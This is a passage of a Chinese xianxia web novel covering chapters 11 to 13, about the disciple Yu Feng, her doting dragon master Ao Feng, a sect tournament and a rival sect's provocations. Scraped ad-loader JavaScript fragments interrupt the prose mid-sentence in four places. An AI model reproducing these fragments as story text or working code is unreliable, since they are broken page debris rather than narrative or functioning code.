五指修长似竹,半截如珠光雪白的衣袖搭在腕间,金线绣着的风云纹样随着迎面而来的风轻轻晃动,稍微吹开些许,露出精致的腕骨。 食指抬起,指着强行飞掠而来的飞船,指尖轻轻朝下一点。 轰—— 宛若狂风巨浪从天而降,将那飞船瞬间吞噬重击在地。 船上人还未反应过来,双脚已然腾空,眨眼身形也被强劲风压一并朝地面冲撞。 惊呼惨叫声不绝于耳,天地仙府的众多弟子纷纷睁大眼要瞧着那飞船粉身碎骨,但在飞船即将坠毁的最后一秒,下坠的船身宛若被风托了一下,而后重重落地。 “咔”的闷响,船身从中裂开条缝隙,继而如毒蛇飞速蜿蜒向上,爬满整个船身。 底座一块浑然天成的灵石跟着应声碎裂。 飞船乃大型法器,非有财可得,还需有锻造技术过硬的数百名炼器师方可为之。 整个诸天宗,也就这么一艘,至此算是彻底报废。 船上人东倒西歪,受伤轻重不一。那位重孙子公子瘫坐在甲板上被左右缓过神的仆从扶起,冲着虚空高声叫嚣。 “何人胆敢暗算本公子?!” 风圈凝成旋涡状,从中逐渐显出一道颀长身影来。 珠玉白的长袍加身,墨发以上品灵石雕刻而成的发冠高高束起,银带束腰身,于虚空中随风而舞。 双手负在身后,他于高空淡淡启唇。 “本座。” 声音并不高,淡似一缕风,但聚而不散,随风传到那位重孙子面前,却似闷雷在耳畔炸开,脑海中撞钟似的嗡嗡作响,神魂亦跟着一通震颤。 剧烈痛感将要在脑海中炸裂开来,虚空突然残影掠来,一只形同枯槁的手搭在那位公子肩头,精纯灵力注入,将他神魂归一,痛感如沸腾涟漪被安抚,逐渐消失。 那穿着天蓝道袍的白发老者松了口气,回头冲着虚空中的敖风一礼。 “敖风尊主,小儿头一次来,不懂规矩,还望尊主勿怪……” 敖风狭长的眼冷凝着地面飞船方向,所幸今日心情还算不错。 “既是初犯,便饶了他,若再有一次,落的就不是船了。” 飞船上的老头隔空冲着敖风虚礼。 插曲一落,四面八方天地仙府弟子齐声山呼。 “师祖!师祖!” 余枫掏了掏险些被震聋的耳朵,望着虚空那道光彩照人的身影,叹息着摇了摇头。 “师尊还是太和善了,下手这么轻。” 旁边的狄玉环顶着一脸问号朝她看来,“和善?” 余枫煞有介事的点点头,“若换成是我,必定打的那重孙子公子满地爬。” 她叹息一声,“而师尊只是毁了他的飞船,不疼不痒的,这重孙子指定不长记性。” 狄玉环:…… 你口中那位和善的师尊,方才一击就想要全飞船人的命来着,只不过飞船底部镶嵌了一块灵石,救了那重孙子公子一命而已…… 当然,也可能是敖风不想在余枫面前见血,有所收敛。 但不管怎么说,敖风都绝不是余枫口中“和善”之人。 和善也有,但只对余枫。 这些话,狄玉环自也是压在心里。 余枫从小到大被敖风护着,心性没有经过磨砺,至于见识,天材地宝见识的不少,但人际交往这块也是硬伤。 她无需收敛、也无需看人脸色,只需率性而为,自有人在身后兜底。 “……说的是。” “不过白胡子老头是谁?诸天宗那位老祖?” “是。” 余枫有些意外,“头发花白快赶上广元府主了……跟师尊怎么相差这么远?” 这话算是夸奖,若被敖风听到,心情定会好上许久,广元的日子也会安然些。 狄玉环忙去找敖风身影,可惜虚空之中空空如也,敖风已经不见了。 无妨,改日给他转达一下,他听到也会心情好上不少。 弟子大比开幕,由广元主持,敖风仍旧不见身影,而诸天宗的那些个也没有异议,各个面上带笑的看着开场。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余枫是来凑热闹,刚开始看的起劲,但随着日头渐高,兴致全无,狄玉环也正不想参加这些费时间没收益的活动,便跟着余枫抽了比试玉牌,就悄悄溜了。 若轮到她二人上场比试,玉牌会发出清脆响声提醒,也不必怕错过。 恒心殿素来只余枫一人,本想留狄玉环一起,但狄玉环怕碰到敖风,委婉拒绝,回了自己住处,二人有事用传音咒联络。 今天日头大,余枫站在太阳底下看开幕仪式,被晒得现在还觉得眼前有些恍惚,也不入殿,径直朝着钟一峰与定缘峰交界处的凉泉而去。 仙府一温一凉两眼泉水,全都是天地自然而成。 敖风来时见着,便自然而然将此等天地孕育而成的宝物划入自己的领地,旁人未经允许不得用。 捡到余枫,便让余枫随意使用。 传言某日广元腰腿酸痛,打算去泡一泡他的温泉,一只脚还未迈入温泉池水,就被敖风直接一道风掀飞了出去。 龙很小气,打上自己标签的东西,不准旁人染指。 上回说给广元温泉,也只是开辟一截引流到他住所,并不是共用。 这些内情,余枫并不知晓,只知道师尊素来对她好,各种各样的好掺杂在一起,也只是好,分辨不来,也习以为常。 两处温泉池都被敖风落下阵法,分辨出余枫的气息,便自动将余枫放入。 左右密林掩映,一条石阶小道穿入深处。 余枫才迈上台阶,就被四周微凉清新的空气洗刷去方才一身的燥热,整个人舒适清醒不少,脚步轻快的朝内里走去。 人还未到,却听到凉泉那边传出哗啦水响。 此地只有她跟敖风可以进入,但敖风素来喜欢泡温泉,这凉泉却是极少来。 难不成敖风落下的阵法被谁钻了空子? 余枫放轻脚步,朝着凉泉缓步靠近。 树叶郁葱,遮着凉泉那头虚虚实实,确实有道人影在凉泉池中。 灵石发冠束发,散发着莹莹微光,发尾泡在水中,被浸润的更黑,遮挡住紧实光洁的背脊。 却是太过激动来凉泉池水中消解压制的敖风。 他随手拾起落入泉水中的花瓣,两指搓碾着,指尖愈发用力,直将那桃色的汁液碾出,将指腹染了色。 “师尊?!” 看清泉水中人是谁,余枫收起暗蕴的灵力,嬉笑着朝这边轻快走来。 敖风心头一颤,慌忙将指尖碾成泥的花瓣撇开,偏头去看,余枫已然行至他身侧。 “师尊怎么今日来泡凉泉了?” 余枫说着,伸手入泉水,指尖勾动波纹,感知着温度,正是凉爽适宜。 不等敖风回话,她便直接跳入泉水之中,水花溅了敖风满脸。 水面逐渐趋于平静,却不见余枫身影。 敖风面色瞬变,“枫儿!” 哗的水响,余枫突兀从水下冒起,在敖风面前做了个吓人鬼脸,而后咯咯直笑。 她浑身湿透,水流从她发丝面颊顺流而下,滑过纤细如凝脂的脖颈,再从被水波冲开的衣襟而下,没入沟壑之地。 衣着紧贴于身,将她曲线勾勒的一览无余。 敖风神色霎时凝住,眸色瞬间转幽。身子紧绷如弓弦,喉头艰涩上下滑动。 11. 第11章 只一眼,敖风迅速偏过头,呼吸有些不正常的急促,嗓音也是从未听闻过的暗哑。 “枫儿,不可在男子面前如此。” 余枫双臂划着水靠在凉泉池边上,伸手够到一片花瓣摘下在指尖把玩,“我是在师尊面前如此,又不是在旁的男子面前如此、再说,我还穿着衣服呢,怕什么。” 她语调轻松,浑不以为意。 在对面的敖风缓缓垂下眼睫,方才积聚起的点点晦暗开始消散,伸手学着余枫的模样扯下一片树叶,看着树叶上的脉络。 “枫儿,”他撩起眼,重新看向对面舒适泡在水中的余枫。 “嗯?” “日后将我当男子看待。” 余枫有些发懵,倒不是因为敖风无厘头说的这话,只是因为他的神色,是她头一次见到的认真。 “哦……” 应答的还是随意,显然是没往心里去。 敖风闭目深吸口气,收紧五指,再松开来,里面那片绿叶已然化为齑粉。 心头默默劝慰自己,让她一瞬间开窍不大可能,还是得慢慢来…… 改日让广元给她送些人间男女谈情说爱的话本助她开个窍。 “师尊怎么不去主持开幕仪式,来这儿泡凉泉?真是稀奇。” 水波荡漾,余枫划开水面往敖风身旁靠了靠。 “不喜欢诸天宗那老头,”敖风尽力不看她,抬头看着被树叶遮掩的蓝天。 “我也不喜欢,还不喜欢那个重孙子公子,”余枫伸手拾起岸边落下的一截树枝,在水中一劈,“方才师尊下手未免太轻了,只是毁了一艘船,没狠狠给那重孙子公子点教训,让他长长记性。” 敖风扯唇淡笑,“好,下次就依枫儿所言,狠狠给他点教训。” 他偏转过头,看着身旁戏水的女子,“你通过弟子大比筛选了。” “对,”余枫在凉泉中游泳,银白的长裙随水波漂浮,衬得她似一尾孔雀鱼,“跟玉环师姐抽了玉牌,比试在后日。” “你是不是忘了什么?” 余枫停下动作,双臂在水中划动,保持身体平稳,疑惑看着敖风。 “什么?” 敖风眼底微光闪烁,放在池边的手不自觉的又轻敲起,“先前说,通过弟子大比筛选,会告诉我,从前的师尊不像师尊,像什么。” “师尊说这个啊。”余枫笑起。 “对。”敖风轻敲池边的手蜷起,又问,“从前的我,在枫儿眼里是什么?” 他身子微微绷直,心已然跟着悬起,余枫却依旧闲适轻松,划着水朝岸边靠去。 “从前的师尊……” 余枫说话拉长语调,仿佛鱼线将敖风的心高高钓起,身形也不受控制朝她的方向倾斜。 “如何?” 余枫不假思索的回道,“从前的师尊,自然像更从前的师尊啊。” 敖风:? “连师尊都戏耍?” 余枫已然上岸,身上微光亮起,衣裙发丝眨眼恢复干爽,冲着敖风嘻嘻一笑。 “怎么能说戏耍?只是怕师尊不想我参加大比,又让广元府主动手脚,”毕竟这种事屡见不鲜。从前除了她真想做的事之外,她都无所谓,而眼下这人间她正是非去不可,可不能让师尊坏事。 ”何况这个答案,也没有什么问题吧?” 敖风气结,闭目深吸气,气不过要起身抓余枫,余枫却立刻抬手双手捂眼。 “师尊,你可是个男子,在女子面前如此起身不妥吧?” 敖风气结,硬着头皮要坐回水中,突然想起他是穿了裤子的,再要起身抓人,岸上除却一团水渍,哪儿还有余枫的影子? “师尊接着泡,徒儿回去找玉环师姐切磋去了!若大比表现不错,师尊记得放我去人间!” 清脆的嗓音通过山谷回响传入耳中,敖风气急败坏,一拳砸在水面上,水花炸开,又泼了他满脸。 悬着的心在这一刻终于死了…… “人间,又是人间……人间到底有什么在引诱你?为了去人间竟是无所不用其极。” 乖乖留在他身边修仙得道,长生不老不好吗? 心头气恼,但复又想起她方才嬉笑如日光明媚的脸,还有她说日后寻道侣便寻师尊那样的,怒气瞬间随风消散。 敖风面上噙笑,身子舒适的又往凉泉深处滑下。 万年等待,结果指日可摘。 一道金色光咒从虚空飞掠而来,被阻隔在他落下的阵法外,急的直转悠。 敖风随手一挥,阵法开了缺口,放那传音咒进来。 “师祖,开幕仪式已……” “滚。” “好的。” 敖风现在心情很好,但什么弟子大比,这等小事他可不想听。 沉吟片刻,看着那传音咒即将消散,他眉头轻挑。 “等等。” “师祖。” “我有件重要的事交给你去做。” “师祖尽管吩咐。” “去挑几本人间男女谈情说爱的话本,给枫儿送去。” “……” 这便是天地仙府真正话事人口中的重要事。 什么弟子大比,什么诸天宗来客,统统狗屁,比不过余枫一根头发丝。 五百多年,广元自认为已经习惯,但听到敖风这么说,还是愣神一下,回过神来,心态平和的应了声“是”。 两仪殿外,广元阔袖一挥,将传音咒扫散,转身回到殿内坐在主位。 下首坐着诸天宗那位皱巴巴的老祖,见状捋须低笑,广元只当没听到,面色如常。 “师祖闲云野鹤惯了,素来不喜管这些事务,由我全权负责。” “闲云野鹤?”诸天宗老祖别有深意的捋须呵呵一笑,岔开话头,“实不相瞒,我此番前来,除却弟子大比之外,还有事寻敖风尊主,既然尊主闲云野鹤惯了,那我就跟广元府主直说了。” “但说无妨。” “我此番来这儿,还为我孙女联姻而来。” “孙女?可是那位霞光仙子?” 皱巴巴的老祖孙子孙女众多,甚至可以说一整个宗门都是他繁衍出来的。 至于这位霞光仙子,是一百多年前玄灵暴动,她以一己之力镇压下来,护住一方城池百姓。 当天正是日落西山时,漫天云彩被映照成绚烂橘色,与她天蓝色长裙上血污融为一片。 城中百姓只觉生机降临,便唤其“霞光仙子”。 “正是。”提起这位孙女,诸天宗的老祖十分自豪,捋须挑眉。 广元也面带喜色,若能将如此女子纳入仙府,也必定是一大助力。 “敢问宗主可有瞧上的人选?” 皱巴巴的老祖点点头,笑容神秘,“是有。” “是何人如此幸运?” 皱巴巴的老祖笑呵呵道,“便是敖风尊主了。” 广元:!!! 老东西这联姻对象你是真敢想啊! 广元心里万千骏马奔腾而过,但好歹是府主,有着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 良好的素养风度,面上还挂着和善笑容,只是略微僵硬了些许。 诸天宗老祖放下捋须的手,压在桌案上,朝广元凑近几分,“广元府主,意下如何?” 我意下如何? 我只是个府主,不是师祖的爹…… 广元礼貌冲着诸天宗老祖眯眼微笑,“此事……还得师祖定夺,宗主若是着急,我可一道传音咒送达师祖,让宗主二人交流。” “好好好,麻烦广元府主。”与有着万年修为的敖风联姻,是多少人梦寐以求的事,这位诸天宗的宗主自然也想尽快定下来,听广元这么说,连连点头。 广元随手甩出传音咒,不等那头接通,便起身借口有事快步出门,踩着祥云升入半空,望着两仪殿方向。 片刻之后,两仪殿内传出敖风缓慢低沉的嗓音。 “哦?本座听懂了,这是让本座当你的孙女婿?” 空气忽然如大浪翻涌,眨眼归于平寂。 广元见状连忙驾云又往高处飞了飞,忽而感觉四下光线一暗,抬头看去,头顶竟迅速积聚起一片浓云,以肉眼可见的速度转黑。 空气迅速变冷,两仪殿上空生出一道风柱。广元一眨眼的功夫,转变为滚筒粗龙卷风,搅动风云,接连天地,朝着两仪殿一路摧枯拉朽而去。 广元深吸口气闭上眼,耳畔瞬间炸开隆隆坍塌声。木石飞溅,有些砸在他身上额头,他却不敢躲,硬着头皮承受着。 半晌,强风止息。 广元耳畔传来敖风怒气未消的低沉嗓音。 “叫那老东西立刻滚!” “是是是……” * 远在恒心殿的余枫,没找到狄玉环,正趴在床榻上研究《人间散记》,忽地觉床榻摇晃剧烈,当下翻身而起,就要下榻一探究竟。 “不用去了。”狄玉环捧着一摞书跨过门槛而入。 “出什么事了?”余枫看看她,又看看外面。 这事有损师祖形象,自是不能告诉她。这是宗门内约定俗成的规矩。 狄玉环将书放在桌上稍作整理,“弟子大比嘛,比较闹腾,对了,师尊让我给你拿点人间话本子,有空记得看啊。” “哦。”余枫不疑有他,重新趴在床榻上翻起书来。 脚步声靠近,女子身上独有的馨香弥漫入余枫鼻尖。 “人间散记?”狄玉环啧啧有声,“才去了三日,你就这么向往人间了?” “人间挺好的啊,有烟火气,又热闹,师姐不喜欢吗?” 余枫说着往里让了让,狄玉环顺势趴在她旁边。 她扫了几眼书中内容便没了兴趣,翻转过身看着余枫这金纱帐穹顶。 “没觉得不好,也没觉得多好,若是能让我什么事都不做,颐养天年,那对于我来说才是好地方。” 余枫笑了一声,“师姐无欲无求,是真正修仙得道的料。” 她将书暂时放在一边,跟狄玉环躺着看穹顶。 沉吟片刻后,她忽而开口。 “其实我非要去人间,还有另外一个原因。” “我就说你指定有其他原因,”狄玉环撑着身子侧看向她,“说吧,什么原因?” 余枫偏头与她四目相对,黑白分明的眸子难得认真,“上次去人间,我听到有声音在呼唤我,我想弄明白那声音是什么。” “声音?怎么没听你提起?怎么?防着我啊?” “不是……” 余枫将要解释,狄玉环却突然警觉起身,抬手压住她唇。 12. 第12章 二女身形紧绷,满眼警惕,两息之后,徐徐放松肩头。 外面陌生的气息已经消散。 余枫双手撑着身子坐起就要下榻,“刚刚那是玄灵的气息吧?我去看看,这些玄灵胆子不小,如今天地仙府的门都敢闯了。” 狄玉环按住她肩头,“你留在这儿,我去。” “可我……” 狄玉环不给余枫争取的机会,强行将她按了回去。 “就这么决定了,若我有万一,你也好出来帮我,但那些玄灵也没蠢到会闯天地仙府,兴许是错觉,毕竟弟子大比,各路灵力鱼龙混杂。” “半盏茶,你若是没回来我就出去找你。” 狄玉环已然一个闪身消失在原地。 余枫百无聊赖的坐在床头盯着门口,掐指算着时辰,眼看着半盏茶将到,她利落下榻。 才将起身,门外就有影子伸入门槛。 “是玄灵吗?”余枫问站在门口的狄玉环。 狄玉环摇头,“没有,当是灵力混杂,感觉错了。” “诶是吗?”余枫坐回榻上,拍拍身侧,“不是也罢,师姐过来再躺会儿。” “时辰不早,我该回了,否则师尊寻不到我,该说我躲懒了,明日见。” 狄玉环自始至终立在门前,背着光,整张面庞隐在阴影之中,看不清神色。 冲着余枫颔首一礼,便转身离去。 脚步声消失的很快,余枫没有挽留,只是定定看了会儿门口方向,随后倒在床榻上,伸手够到方才没看完的那本《人间散记》继续翻着。 殿内安静,唯有翻书时发出的沙沙声。 忽而,余枫翻书的手指顿住。 页面第一行前三个字跃入眼帘——洪尧城。 她指尖摩挲上那三个字,口中喃喃念出声。 “洪尧城……”她上次听到呼唤的地方。 虽过去几日,但那日的情形她仍旧清晰在目。 去人间历练,乃为除妖降魔。 孔方海与狄玉环怕她头一次去人间有意外,便时时刻刻跟着,也不让她乱跑,到了人间直接就将她带去除妖之地。 一去近三日,被看管的紧,她甚至连那城叫什么都不知道。 但第二日,她曾侥幸偷溜出去过半个时辰。 那古怪的呼唤声,便是这个时候出现的。 街头热闹哄乱,她如飞出牢笼获得自由的鸟雀,兴奋穿梭在熙熙攘攘的人流中。 瞧见有人扛着扎满澄红果子的草垛,果子晶莹透亮,余枫随手摘下一根,给那小贩扔了一锭碎银子,迫不及待地一口咬下。 糖壳酥脆,果子酸甜,味道妙极。遂又伸手将整个草垛尽数收下。 小贩上下打量她。通身珠光宝气,两眼纯透,一看便是未经世事的千金大小姐,小贩上下一抛手中银子开了腔。 “哎姑娘,这么多都要的话,这点银子可不够。” “不够?我方才听见你吆喝几文钱一串,我刚刚给你的,足够买一垛。” “那是刚才。”小贩继续微笑。 余枫定定看了他两秒,从纳戒中取出个漆黑的布袋,递到小贩面前,“拿这个抵吧。” 小贩喜滋滋的接过,掂量了下,很有分量,但不像是金银财宝,捏了下,有地方柔软,有地方坚硬,还发出嘶嘶声。 小贩蹙眉,“这是何物?” “方才抓的妖魔,新鲜热乎的,送到宗门可换白银,拿着小心些,口没扎紧,待会儿跑出来……” 话未说完,那小贩眼睛嘴巴逐渐张大,尖叫一声,将黑色布袋朝高空一抛,眨眼跑的没了影。 余枫一手扶着草垛,另一手伸出,将黑色布袋稳稳接住收回纳戒。 回头望着小贩逃跑方向,又咬下一颗山楂,嘴里喃喃念叨,“敢讹修者,我以为胆子很大呢,真是不惊吓……” “枫儿师妹!” 狄玉环焦急的声音穿街传来,余枫面色微变,将糖葫芦收起,闷头就往偏僻巷子里跑。 七拐八拐,人生地不熟也不知跑到何处,只听得四下闹哄声瞬间消失,红砖垒砌的高墙隔绝左右。 余枫跑的急促,此番四下安静,能清晰听到胸腔一下又一下的有力搏动。 靠墙歇息,顺带打量起眼前的巷子。 眼前是条二人并行的窄巷,一棵细柳腰的槐树长在她前方五步处左侧。枝条稀疏,叶片枯黄,有风轻轻掠过,又是一片打着旋儿飘落在地。 余枫抬起头,看了眼艳阳高照的天,有生长高耸的榕树进入视线一角。枝条伸展,叶片繁茂翠绿,与眼前枯萎毫无生机的槐树格格不入。 周遭很安静,仿佛连空气都完全静止。左右两堵砖红的高墙像是开辟了与外界不相容的另一方空间。 “余枫……” 仿佛灰色薄纱从高空流泻而下,左右砖红高墙色调以肉眼可见的速度逐渐转灰,连同头顶那一片蔚蓝的天也变得雾蒙蒙。 正前方,有喃喃低语传出,忽远忽近,徘徊在她耳畔不肯离去。 “过来……” 砖红高墙像是淋雨褪色,色调如水流淌至土色地面,溪流般朝着小巷前方流去,像是在给余枫指引方向。 余枫顺着那流水指引朝前方望去。 巷子尽头处白雾飘过,出现两扇闭合的木门,左右各倒贴着一张红底黑字的“福”字,常年风吹日晒,红色的底已褪成橘色,有些地方微微发白。此刻垂落下来半拉,被风吹得呼啦啦响。 木门更是年代久远,被风吹开缝隙,发出滞涩难听的吱嘎声。 “余枫,”那声音男女混杂,且有老有幼,再次重复方才的低喃,“过来……” 余枫两眼微光消逝,逐渐朦胧。木门后仿佛有丝线勾着她,无形的手在那头不断收着线,她脚下不受控制地朝前迈出一步。 一步落下,腕间摄魂铃猛然颤动,发出一连串急促脆响。 声音好似在她魂魄深处响起,如当头棒喝,余枫双目转瞬清明。 “师妹?!” 孔方海与狄玉环的声音近在咫尺,巷子内风吹动,拂过余枫面庞。 她惊觉再看向尽头处,已经不见了那木门影子,灰蒙蒙的天也变得湛蓝,而那棵细腰枯死的槐树也不见了踪影。 * 找不到关于洪尧城其他记载,余枫将手中《人间散记》合起,两眼迷茫地望着金纱帐顶,当日记忆一遍遍在脑海中掠过。 “呼唤我的,究竟是什么人?” 那声音混杂,其中有几道很清晰,她莫名觉得有几分熟悉。 可她自小到大都在天地仙府,混杂在其中的声音,没有她在天地仙府熟知的。 兴许,人间隐藏着什么关于她的秘密。 思虑间,外头有风声响 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动。 余枫倏然回神,抬头朝门口望去。 还未见人,先见珠宝折射七彩光芒映入门内,将她这殿内照的绚烂。 余枫已然知晓来人是谁,重新躺了回去。 “师尊,你怎么来了?” 敖风神情严肃,停在门前左右环顾一圈,听到余枫说话,方才提步跨入门槛。 “你院中方才可有异常?” “师尊该不会是嗅到了什么奇怪的气息,跑来我这儿查探究竟的吧?” “是。”敖风也不否认。 “看来师尊的鼻子也不大好使了,没有奇怪的气息,师姐方才查探过了。” 没有? 方才那气息一闪而逝,但他感知的很清楚。 难不成是他心绪繁乱出了差错? 看敖风还负手立在原地,皱眉一副不放心的模样,余枫又说,“师尊莫担心,我这峰上还有你亲手落下的防御阵法,不会有事,再者,定缘峰也很近,若有万一,师尊不是会过来保护我吗?” 这随性毫不忧心的发言,轻而易举说服了敖风。 他下巴微抬,挺起胸膛,“自然。” 此篇揭过,敖风一垂眼就看到正前方桌案上高高堆起的书本。 提步上前,随意翻阅两本,发现是人间谈情说爱的话本。 心里暗道广元办事效率不错,正琢磨如何奖励广元一番,就看到夹在中央的一本书,名为——《师徒恋不可》。 敖风脸上笑意顷刻消散,将手中书随手扔在桌上,独独将那本《师徒恋不可》拾起。 才翻两页,方才轻松的手指倏然紧绷,手背青筋跳起,攥着书本的指腹血色消退逐渐转青。 掌心直接亮起微光,将整本书笼罩。 等到那光芒消退,《师徒恋不可》几个字已然变为《师徒恋可》。 敖风轻哼一声,将被他篡改完毕的书丢在桌案上。 停顿片刻,将拿乱的书册重新摞好,那本《师徒恋可》被他放在最上层,余枫只要来到桌前一眼就能看到。 “师尊怎么了?”听到这头动静不对的余枫又抬起脑袋朝他看来。 “没什么,”敖风双手负在身后朝她踱去,“广元真是老了不中用了,一点小事都办不好。” “若广元府主没办好,那定然是师尊给他安排的事情太多,才五百多岁头发就全白了。” “那依枫儿的,回头给他放个假,如何?” “我替府主谢谢师尊。” “替府主?替狄玉环吧?” 余枫小心思被拆穿,吐吐舌头糊弄过去。 敖风又瞥了眼桌案,拂动广袖,“广元给你送来不少书,有空记得看看。” “知道啦,师姐已经叮嘱过我一回了。” 敖风眉眼舒展,正欲问她明日比试可紧张,却见她手里捧着一本《人间散记》。 单看到“人间”二字便叫他蹙起长眉。 “人间?你未免对人间太过向往,可是此番下山,在人间有不同寻常的经历?叫你如此流连忘返?” 说起这个,余枫将书册随手丢到旁边,明媚的黑眸正色凝着他。 “有个问题我好奇了许久,一直憋着也不是我性格,索性就直接问了。” 她一手撑着身子坐直,直直望入敖风眼里,“师尊这些年一直不许我下山,可是有什么别的原因?” 13. 第13章 别的原因…… 敖风转开眼,脸颊却忽然贴上温热柔软的掌心。重新抬眼,余枫已然近在咫尺。 她双手固定住他脑袋,秋水双眸严肃盯着他,“不许看别处,看着我的眼睛。” 余枫浑然不在意距离,,眯眼逐渐凑近,不放过他眼里任何可疑的痕迹。甚至敖风轻轻一动,都能感知到她鼻尖的触感。 温热呼吸纠缠,他脑海中仿佛打翻毛线团,乱哄哄的纠缠在一起,无法思考,更遑论她说的什么撒谎。 “嗯?”余枫按着他脸颊的双手一用力,催促他回答,“师尊快说,别想耍花样。” 她朱唇轻启,兰息喷拂,尽数没入敖风鼻腔,有些果子香,还有些花酿味道。 敖风凝着她张合的唇瓣,只觉脑海中醉酒般晕晕乎乎,想张口言语,却是不能。 撑在床榻的手缩紧,攥了一把被褥,好半晌回过点理智。 黑眸抬起,直直迎上余枫明目。 “没有别的原因,只是想你留在恒心殿,想你平安,想你长生不老。” 余枫认真将他眼神看了又看,没有什么异常,方才松手,靠在床柱另一侧,重新拾起那本《人间散记》,随心翻着页。 “可是师尊有没有想过,你给我铺的‘道’,有时候并不是我想要的。” * 余枫的比试就在次日下午。 有仙婢伺候着她洗漱一番,而后,她将身上的鲛人雪纱换下。 仙婢尝试阻止,“弟子大比真枪实剑,恐会受伤,还是穿着罢。” 但余枫想做的事,没有人能阻拦。 “在自家地盘上,伤不到哪儿去,再说,对比试的师兄姐们不公平。” 仙婢正忧愁如何跟敖风交代,余枫解腰带的手却忽而顿住。 “脱了好像确实不应该……” 仙婢心下暗道:终于想通了,脱了鲛人雪纱万一被伤到,跟你对手的人可就遭殃了。 紧接着却听余枫说,“师兄姐们素来让着我,怕我受伤,我若脱了这鲛人雪纱,师兄姐们与我对阵难免束手束脚,但若穿着,他们心知伤不到我,就可以大展拳脚。” 刚好对她增加实战经验有利。 遂,余枫又将腰带重新束上。 仙婢松口气,不管是什么缘由,只要余枫能老老实实穿着这鲛人雪纱就是万幸。 脚下踩祥云,余枫朝着弟子大比的擂台飞掠而去。 甫一落地,便见狄玉环打着哈欠经过树丛,从小路朝着后山方向而去。 “玉环师姐,你比完了吗?” 狄玉环似是没听到,继续朝前走。 树丛掩映,她纤细身影逐渐要消失在余枫视线当中。 “师姐,马上要开始了,我来的早还打算给你加油呢,你上哪儿去?” 余枫脚下轻点,运起几分灵力朝着狄玉环离去方向追去。 可不管她如何追,狄玉环总是能跟她拉开恰到好处的距离。 余枫不厌其烦的跟着,终于在后山一片空地前,狄玉环停了下来。 “师姐来这地方做什么?”余枫环顾四周,顺势将照雪剑从纳戒中掏了出来,剑不出鞘,寒气被锁在其中,只余枫握着剑的手微微冰凉。 狄玉环转过身来,冲着余枫咧嘴一笑,身上水波荡漾,她面容身形随着水波抖动,等水面平息,眼前的狄玉环俨然变成了个男子。 金黄色的长袍加身,腰间环佩叮当。 是余枫将将讨厌起的男子,那位重孙子公子。 重孙子公子抬手把玩着通体翠绿的玉如意,“影玉,可变化相貌身形,怎么样,本公子模仿你的那位师姐,是不是惟妙惟肖?” “不过是我玩剩下的小把戏罢了,我早知道你不是师姐,师姐有的坐绝对不站着,有的躺绝对不坐着,可不会走这么远,还惟妙惟肖?”余枫轻嗤一声,抱剑环胸,“你在这儿?我师姐呢?” 重孙子公子冷哼一声双手负在身后,“放心,我没把你师姐怎么样……” “那就行了,此番我就暂且不跟你计较,我还有比试,先走一步。” 余枫摆摆手转身要走,身后却传来那位重孙子公子冷漠嚣张的嗓音。 “本公子让你走了吗?” 树丛中,陆续走出不少穿着金色服饰的诸天宗弟子,附和着那位重孙子公子,盯着余枫,发出阴险冷笑。 余枫浑不在意,落下握着照雪剑的手,上下打量那位重孙子公子,眉眼弯弯。 “你要在天地仙府闹事?” “是又如何?”重孙子公子高抬下巴,“你那位好师尊不答应我祖爷爷提出的联姻便也罢了,竟还将他老人家打伤,今日,我便要在你身上一一讨回来!” “我师尊做的事,你不找我师尊,却要我来偿还,你还真是胆小没种啊,诸天宗的人,都像你这般吗?” 话说的直白,还不是很气人。最气人的是余枫满脸认真,不掺杂分毫调侃。她是打心眼里这么认为的。 “我没种?!”重孙子公子被踩到痛处,当下跳脚指着余枫咒骂,“我没种也好过你跟你那师尊干些见不得人的勾当!” “见不得人的勾当?”余枫握剑的手一紧,朝那重孙子公子提步走去,“我怎不知跟师尊有什么见不得人的勾当?你倒是说来我听听。” 她步伐很快,左右诸天宗弟子围拢过来,她也浑然不惧。 重孙子公子见人多势众没将她吓住,反倒心头有些没底。 复又想起那些个弟子看到比试名单暗自讨论:师妹修为不济,比试也不许带法宝,她该如何是好? 连同门弟子都如此说,证明眼前的女子也不过是被敖风宠大,娇纵任性、不知天高地厚罢了。 反观她身上,除却一把剑看起来像是个宝贝,也没什么其他法器。 左右手下挡在他面前,他心神瞬间一定,凝着余枫继续冷嗤。 “装傻充愣?天下谁人不知,你与敖风以师徒名义,却行那苟且之事!简直丢尽了正派仙门的脸面!” “此等污言秽语,我实在不想经由我口吐出,只因你还在装无辜纯洁,更是令人作呕!若你今日好好给本公子磕头道个歉,再奉上法器财宝,本公子可以既往不咎,如若不然,便将你师徒二人污秽之事宣扬于……” 最后一个字还未吐出,余枫已然拔剑。 前方打手正要动作,却觉冰寒剑气迎面逼来,手脚倏然被冻成冰晶,半分动弹不得。 冰晶如蛇,迅速朝上攀爬,直至将那些人整个身子完全封存。 重孙子公子两眼瞬间睁圆,盯着余枫手中寒气如飘雪的长剑倒抽口凉气,“照雪剑?!他竟将这等宝器都予了你?!真是奸唔……” 铮的声剑刃归鞘,余枫一跃起身,将重孙子公子摁在身下,双手揪住他衣领,拳头如雨点,照着那张令人厌恶的脸接二连三地落下。 “我打烂你这吐不出象牙的狗嘴!” “师尊和善、光风霁月,那日留你一命,我余枫可没师尊那么好的脾气,今日便要你半条命,给你吃个教训!” 两手抬起左右 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开工,眨眼那位重孙子公子被打的面颊高肿。 “放肆!” 重孙子公子手中不知摸出个什么法器,明光忽闪,晃得余枫睁不开眼,只觉身下一空,那公子如游鱼溜走。 双目不能视物,却听得前方剑气破空,朝着她迎面刺来。 * 两仪殿,敖风散漫地坐在主位上,下首一边是广元,另一边则是那位诸天宗老祖。 他眼下口不能言,一手被纱布挂在胸前,两眼狠劲瞪着对面广元,嘴里牙掉了几颗,呜呜哇哇说着什么,一个字都听不清。 广元掏了掏耳朵。他不必听清,也知诸天宗的老祖在嚷嚷什么。 无非就是受了委屈要赔偿。 他抬眼看着对面诸天宗老祖,“宗主需明白,天灾,这是无可奈何的事,谁也料不到那日会突降龙卷风不是?” 